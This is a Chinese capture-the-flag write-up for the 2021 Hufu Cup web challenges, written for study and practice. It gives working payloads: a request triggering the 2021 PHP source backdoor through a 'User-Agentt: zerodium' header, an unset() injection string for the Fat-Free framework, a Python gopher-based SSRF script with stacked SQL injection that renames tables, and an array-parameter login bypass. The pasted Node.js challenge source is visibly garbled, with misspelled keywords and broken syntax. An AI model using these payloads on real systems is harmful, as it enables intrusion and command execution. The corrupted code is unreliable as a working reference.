2021 虎符杯 writeup
Web
没十年脑血栓出不来这题
没环境复现了,没有截图
签到
一开始是个博客的页面,XSS、注入一通乱试
一个小时0解
后来给了提示
好家伙,原来是考php后门
2021年3月28日,PHP维护的官方Git服务器 git.php.net 被袭击,其Git仓库遭到恶意篡改。如果开发者使用这些遭到篡改的源代码进行网页的开发的话,网站就会在不知情的情况下被感染。
分析下这个php后门
如果开启压缩输出,访问的USER_AGENTT
中有zerodium
,则进入eval
,并执行zerodium之后的代码
构建exp
GET / HTTP/1.1
Host: xxx.ichunqiu.com
Accept-Encodeing: gzip,deflate
User-Agentt: zerodiumsystem('cat /flag');
这要不给提示。。。。
unsetme
<?php
// Kickstart the framework
$f3=require('lib/base.php');
$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);
$f3->run();
可以执行命令的点在base.php
最新版的代码做了一些修复
clear
方法有洞
__unset
不过还是可以绕的
:[]);system('cat /flag');//
“慢慢做”管理系统
又一个阴间题
我用admin-inner
登录了半天,后来发现应该需要admin
登录
第一步登录可以用129581926211651571912466741651878684928
登录
进入ssrf.php
访问127.0.0.1/admin.php
,是个登陆页面
username
处可以堆叠注入
过滤了alter
,但是可以用rename
改表
ctf2数据库内容如下:
array(1) {<br />
["Tables_in_ctf2"]=><br />
string(10) "fake_admin"<br />
}<br />
[1]=><br />
array(1) {<br />
["Tables_in_ctf2"]=><br />
string(27) "real_admin_here_do_you_find"<br />
}
}
array(1) {<br />
[0]=><br />
array(3) {<br />
["id"]=><br />
string(1) "1"<br />
["username"]=><br />
string(11) "admin_inner"<br />
["password"]=><br />
string(32) "5fb4e07de914cfc82afb44vbaf402203"<br />
exp
import urllib.parse
import requests
# rename table fake_admin to fake_admin2;rename table real_admin_here_do_you_find to fake_admin;show tables;
# 先POST admin.php进行登录
post_data = '''username=admin&password=5fb4e07de914cfc82afb44vbaf402203'''
post_data_length = len(post_data)
test =\
"""POST /flag.php?username=admin_inner&password=5fb4e07de914cfc82afb44vbaf402203 HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=rayi;
Content-Length: {0}
""".format(post_data_length)
test += post_data
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
payload = urllib.parse.quote(result)
url = "http://eci-2ze8pd94714jhax3okrx.cloudeci1.ichunqiu.com/ssrf.php?way="
headers = {
'Cookie': "PHPSESSID=2oskcfqn07tv8rc4a5bmpnqht4;"
}
print(url+payload)
web = requests.get(url+payload,headers=headers)
print(web.text)
internal_system
源码:
const express = require('express')
const router = express.Router()
const axios = require('axios')
const isIp = require('is-ip')
const IP = require('ip')
const UrlParse = require('url-parse')
const {sha256, hint} = require('./utils')
const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'
const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))
const port = process.env.PORT || 3000
function formatResopnse(response) {
if(typeof(response) !== typeof('')) {
return JSON.stringify(response)
} else {
return response
}
}
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
return isIp(host) && IP.isPublic(host)
}
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname
return !pathname.startsWith('/flag')
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.redirect('/index')
}
})
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))
req.session.admin = hash === adminHash
res.redirect('/index')
}
})
router.get('/index', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login)
} else {
res.render('index', {admin: req.session.aadmin})
}
})
router.get('/proxy', async(req, res, next) => {
f(!req.session.admin) {
reteturn res.redirect('/index')
}
const url = decodeURI(req.query.url);
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
router.post('/proxy', ac(req, res, next) => {
if(!req.session.admin) {
reteeturn res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})
router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}
const result = {title: 'Search Success', content: ''}
const method = req.method.toLowerCase()
const url = decodeURI(req.query.url)
const data = req.body
try {
if(mod == 'get') {
const response = await axios.get(urlrrl)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}
return res.json(result)
})
router.get('/source', (req, res, next)=>{
res.sendFile( __dirname + "/" + "route.js");
})
router.get('/flag', (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'No Flag For You!'})
}
return res.json({hint: hint})
})
module.exports = router
绕过登录
/login?username[]=admin&password=admin
剩下不会了,求师傅带带